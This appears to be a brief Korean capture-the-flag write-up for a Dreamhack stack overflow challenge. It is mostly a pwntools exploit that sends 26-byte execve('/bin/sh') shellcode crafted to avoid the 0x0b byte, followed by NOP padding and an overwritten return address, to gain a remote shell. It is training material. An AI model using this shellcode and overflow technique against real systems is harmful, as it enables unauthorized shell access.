
<aside> 💊 NX가 disabled이므로 ShellCode의 실행이 가능해짐.
</aside>

<aside> 🎰 26byte 쉘코드를 사용해야한다. scanf는 0x0b를 만나면 입력을 종료한다.
</aside>
from pwn import *
p = remote("host1.dreamhack.games", 17596)
a = p.recvuntil("buf = (")
buf = int(p.recv(10), 16)
print(buf)
p.recvline()
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
# 26byte shellcode
payload += b"\x90"*106
# buf[128byte]+sfp[4byte] = 132byte
payload += p32(buf)
#ret[4byte]
p.sendline(payload)
p.interactive()
